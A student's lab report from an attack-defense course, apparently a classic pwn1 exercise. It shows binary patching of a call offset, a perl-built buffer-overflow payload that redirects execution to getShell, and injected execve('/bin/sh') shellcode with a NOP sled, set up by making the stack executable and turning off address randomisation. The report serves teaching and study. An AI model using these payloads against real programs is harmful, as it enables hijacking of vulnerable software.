20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告
20232312 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1.实验内容
1.1通过学习、分析可执行文件pwn1(后改名为pwn20232312_1),学习了三种漏洞利用技术:
-
直接修改程序机器指令:通过修改 call指令的跳转地址,强制程序执行原本不会运行的 getShell函数
-
缓冲区溢出攻击(BOF):通过构造超长输入覆盖返回地址,劫持程序执行流至 getShell
-
Shellcode注入:向栈中注入自定义机器指令(如反弹Shell),并利用溢出跳转至该指令
1.2关键知识点:
-
ELF文件结构
-
机器码
| 汇编指令 | 机器码 (十六进制) | 说明 |
|---|---|---|
NOP |
90 |
无操作。最简单的形式是 XCHG EAX, EAX 的别名。 |
JNE |
75 |
短跳转条件码。75 后跟一个 8 位位移。如果 ZF=0 (不等于/不为零) 则跳转。 |
JE |
74 |
短跳转条件码。74 后跟一个 8 位位移。如果 ZF=1 (等于/为零) 则跳转。 |
JMP |
EB |
短跳转。EB 后跟一个 8 位位移。无条件跳转。 |
JMP |
E9 |
近跳转。E9 后跟一个 32 位位移。用于更大范围的无条件跳转。 |
CMP |
3D xx xx xx xx |
比较 EAX 与一个 32 位立即数。3D 是操作码,后跟 4 字节的立即数。 |
CMP |
83 7D xx yy |
比较 [EBP+xx] (栈上变量) 与一个 8 位有符号立即数 yy。83/7D 是操作码和 ModR/M 字节。 |
CMP |
39 C3 |
比较 EAX 与 EBX。39 是操作码,C3 是 ModR/M 字节 (指定 EAX 和 EBX)。 |
-
栈帧布局
-
返回地址覆盖
-
EIP控制
-
Shellcode编写
-
NOP雪橇
-
地址对齐
2.实验过程
2.1 直接修改程序机器指令,改变程序执行流程
2.1.1下载目标文件pwn1,并做反汇编

- 可以看到,call 8048491,将调用位于地址8048491处的foo函数,对比发现发现 call foo的机器指令为 e8 d7ffffff跳转偏移 -41)
2.1.2计算新偏移
- getShell地址 0x0804847d,call下条指令地址 0x080484ba,偏移量 0x7d-0xba=0xffffffc3
2.1.3修改指令

- 将 d7改为 c3


-
验证修改后程序直接执行getshell

-
在这里碰到一点小问题,经过查询最后得以解决,会在后面介绍
2.2构造输入参数,造成BOF攻击,改变程序执行流
2.2.1反汇编确认存储位置结构

0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
== 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞 ==
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
== 这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
==上面的call调用foo,同时在堆栈上压上返回地址值:\x7d\x84\x04\x08==
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
080484d0 <__libc_csu_init>:
2.2.2确认字符串溢出字符个数

- 如果输入字符串1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell
2.2.3构造输入字符串
- 由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

-
可以看到输出如预期

-
然后将input的输入,通过管道符“|”,作为pwn20232312_1的输入,可以看到运行成功
2.3注入Shellcode并执行
2.3.1准备工作
- 准备一段shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 设置堆栈可执行
sudo apt install patchelf
- 验证是否成功
patchelf --set-execstack pwn1
- 输出 RWE(Read-Write-Execute),说明栈可执行

- 关闭地址随机化

2.3.2开始攻击
- 打开两个终端,一个终端注入下方这段攻击,另一个开始调试
(cat input_shellcode;cat) | ./pwn1

- 能够从上面找到esp地址为0xffffd36c,注意这与实验指导文件不一样,需要自行计算,根据实验指导书,地址需要+4,即0xffffd370
- 故构造并注入下方,攻击成功
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

2.4结合nc模拟远程攻击
- 用终端模拟主机。主机1,模拟一个有漏洞的网络服务;主机2,连接主机1并发送攻击载荷

3.问题及解决方案
- 问题1:execstack命令不可用
- 问题1解决方案:通过查询得知,Kali Linux 2023+ 移除了 execstack,通过询问AI,改用patchelf,通过输入下方代替execstack使用。
patchelf --set-execstack ./pwn1
- 问题2:在运行pwn1的时候碰到了报错zsh: permission denied: ./pwn1
- 问题2解决方案:通过查询得知,是用户的权限不足(不小心将文件放在桌面上了),通过查询得到下方命令,添加执行权限,得以解决
chmod +x ./pwn1
4.学习感悟、思考等
-
漏洞利用的本质是通过输入控制程序执行流,关键在于算好计算偏移量和地址。
-
防御机制(如栈和堆不可执行、地址随机化)大幅增加攻击难度,需结合信息泄漏(objdump)绕过。
-
工具链的差异(如 execstack被弃用)要求灵活适应环境变化。
-
实践价值:理解漏洞原理后,能更有效地编写安全代码(如避免 gets

浙公网安备 33010602011771号